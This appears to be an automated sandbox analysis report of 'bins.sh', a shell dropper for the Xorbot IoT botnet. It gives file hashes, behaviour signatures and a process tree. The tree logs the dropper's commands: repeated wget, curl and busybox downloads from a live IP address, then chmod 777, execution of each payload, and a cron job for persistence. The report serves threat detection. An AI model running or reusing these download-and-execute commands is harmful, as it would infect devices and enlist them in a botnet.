Analysis

  • max time kernel
    150s
  • max time network
    134s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30-11-2024 10:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e3acbc4ed14dedc6b101819151aa8e11

  • SHA1

    c27ad3916863d50bc1001b95d0fd39d831e3eebc

  • SHA256

    0d5e5ac44a1561346bce5197d027dbf920fc6e3a8f162b38ac4c03f953705544

  • SHA512

    4380b6cf9fb1a11c9de70e3a48bf8873868360ff194a33ce5e2a068ac913017ce7640510963cfed31e38d742fba3f13c5873fd56b1cb45939b96518558d61657

  • SSDEEP

    192:P/2hN5CGevfxme2NpJaWq20n/uqRqxqrqCbqQq6zdVhN5CGevf5me2Np/q20n/I7:noaxzdcq

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:700
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://216.126.231.240/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          ./MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:735
        • /bin/rm
          rm MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC
          2⤵
          • System Network Configuration Discovery
          PID:737
        • /usr/bin/wget
          wget http://216.126.231.240/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          2⤵
          • Writes file to tmp directory
          PID:738
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          ./h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://216.126.231.240/bins/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            2⤵
            • Writes file to tmp directory
            PID:753
          • /bin/chmod
            chmod 777 WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            2⤵
            • File and Directory Permissions Modification
            PID:757
          • /tmp/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            ./WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            2⤵
            • Executes dropped EXE
            PID:758
          • /bin/rm
            rm WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS
            2⤵
              PID:761
            • /usr/bin/wget
              wget http://216.126.231.240/bins/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
              2⤵
              • Writes file to tmp directory
              PID:763
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:769
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
              2⤵
              • Writes file to tmp directory
              PID:778
            • /bin/chmod
              chmod 777 J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
              2⤵
              • File and Directory Permissions Modification
              PID:781
            • /tmp/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
              ./J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:782
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:785
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:786
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:788
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:789
                  • /bin/rm
                    rm J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi
                    2⤵
                      PID:792
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                      2⤵
                        PID:798
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                        2⤵
                          PID:800
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                          2⤵
                          • Writes file to tmp directory
                          PID:804
                        • /bin/chmod
                          chmod 777 quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                          2⤵
                          • File and Directory Permissions Modification
                          PID:813
                        • /tmp/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                          ./quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                          2⤵
                          • Executes dropped EXE
                          PID:814
                        • /bin/rm
                          rm quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee
                          2⤵
                            PID:816
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                            2⤵
                              PID:817
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                              2⤵
                                PID:819
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                                2⤵
                                • Writes file to tmp directory
                                PID:820
                              • /bin/chmod
                                chmod 777 SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                                2⤵
                                • File and Directory Permissions Modification
                                PID:821
                              • /tmp/SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                                ./SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                                2⤵
                                • Executes dropped EXE
                                PID:822
                              • /bin/rm
                                rm SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9
                                2⤵
                                  PID:824
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/r9av7RECiNY6xPIiTPbBdZs9L2KiAhyc0l
                                  2⤵
                                    PID:825
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/r9av7RECiNY6xPIiTPbBdZs9L2KiAhyc0l
                                    2⤵
                                      PID:826
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/r9av7RECiNY6xPIiTPbBdZs9L2KiAhyc0l
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:827
                                    • /bin/chmod
                                      chmod 777 r9av7RECiNY6xPIiTPbBdZs9L2KiAhyc0l
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:828
                                    • /tmp/r9av7RECiNY6xPIiTPbBdZs9L2KiAhyc0l
                                      ./r9av7RECiNY6xPIiTPbBdZs9L2KiAhyc0l
                                      2⤵
                                      • Executes dropped EXE
                                      PID:829
                                    • /bin/rm
                                      rm r9av7RECiNY6xPIiTPbBdZs9L2KiAhyc0l
                                      2⤵
                                        PID:831
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/fSCnAzRih0rgzQCBQa3eXGHaCcmq7nIQS7
                                        2⤵
                                          PID:832
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/fSCnAzRih0rgzQCBQa3eXGHaCcmq7nIQS7
                                          2⤵
                                            PID:833

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/J7asn6CDf1ZG6fn3bPKjgOCEqM6NmDblqi

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/MOPOaggpuc5z6aiyciPua2rqRcf3DU60iC

                                          Filesize

                                          98KB

                                          MD5

                                          5141342d0df8699fa32a6b066a0c592e

                                          SHA1

                                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                                          SHA256

                                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                          SHA512

                                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                        • /tmp/SNSWnAB7R8iRYArNC1PIZdAfWcIF8CV0e9

                                          Filesize

                                          117KB

                                          MD5

                                          849fa04ef88a8e8de32cb2e8538de5fe

                                          SHA1

                                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                          SHA256

                                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                          SHA512

                                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                        • /tmp/WkATQcRyq0pv8oY98CBRBIa5NWRhaG1mYS

                                          Filesize

                                          127KB

                                          MD5

                                          89077b7bd4bcafca7713be43635c4862

                                          SHA1

                                          fc02edb8fba29ea8ee99e6157ef8560334530052

                                          SHA256

                                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                          SHA512

                                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                        • /tmp/h1GbSkvJ7gW4a4WXfLQF576PRVHVJ8lfky

                                          Filesize

                                          111KB

                                          MD5

                                          ca897a38f23ec23521ce0b1b83f8422d

                                          SHA1

                                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                          SHA256

                                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                          SHA512

                                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                        • /tmp/quZEWZVNrJ07ysEgoTFoxsYwUKdApSuzee

                                          Filesize

                                          111KB

                                          MD5

                                          701e7a55a4f3650f5feee92a9860e5fc

                                          SHA1

                                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                          SHA256

                                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                          SHA512

                                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                        • /tmp/r9av7RECiNY6xPIiTPbBdZs9L2KiAhyc0l

                                          Filesize

                                          112KB

                                          MD5

                                          05d7857dcead18bbd86d2935f591873c

                                          SHA1

                                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                                          SHA256

                                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                          SHA512

                                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                        • /var/spool/cron/crontabs/tmp.g2zR0u

                                          Filesize

                                          210B

                                          MD5

                                          6c3b0a3850e788b3f3ee6bac5a48bebb

                                          SHA1

                                          4e88d2e38b3deb5f3e946673dcf766f76911b942

                                          SHA256

                                          4ca9c7c017cf340c89f5bb95c81016ce020fdf8f9853f05b654c48db03c999ad

                                          SHA512

                                          4061915e9551c1b9ebf96804aa9154cea8ed91fe92a771f3155c55f9c62c2c05a4e3931c8097f2de8cf56c6d82e8df1f510933669122afd201fddfb2c948d85f